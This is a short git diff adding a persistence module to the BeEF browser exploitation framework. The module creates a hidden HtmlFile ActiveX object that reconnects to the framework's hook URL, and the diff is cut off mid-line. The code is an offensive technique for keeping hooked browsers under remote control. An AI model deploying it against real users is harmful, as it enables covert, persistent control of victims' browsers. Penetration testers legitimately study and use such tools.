diff --git a/modules/persistence/invisible_htmlfile_activex/command.js b/modules/persistence/invisible_htmlfile_activex/command.js new file mode 100644 index 000000000..fb01788fa --- /dev/null +++ b/modules/persistence/invisible_htmlfile_activex/command.js @@ -0,0 +1,28 @@ +// +// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + try { + var hook_url = beef.net.httpproto + '://' + beef.net.host+ ':' + beef.net.port + beef.net.hook; + + // create HMTL document + beef.debug("[Invisible HTMLFile ActiveX] Creating HTMLFile ActiveX object"); + doc = new ActiveXObject("HtmlFile"); + doc.open(); + doc.write('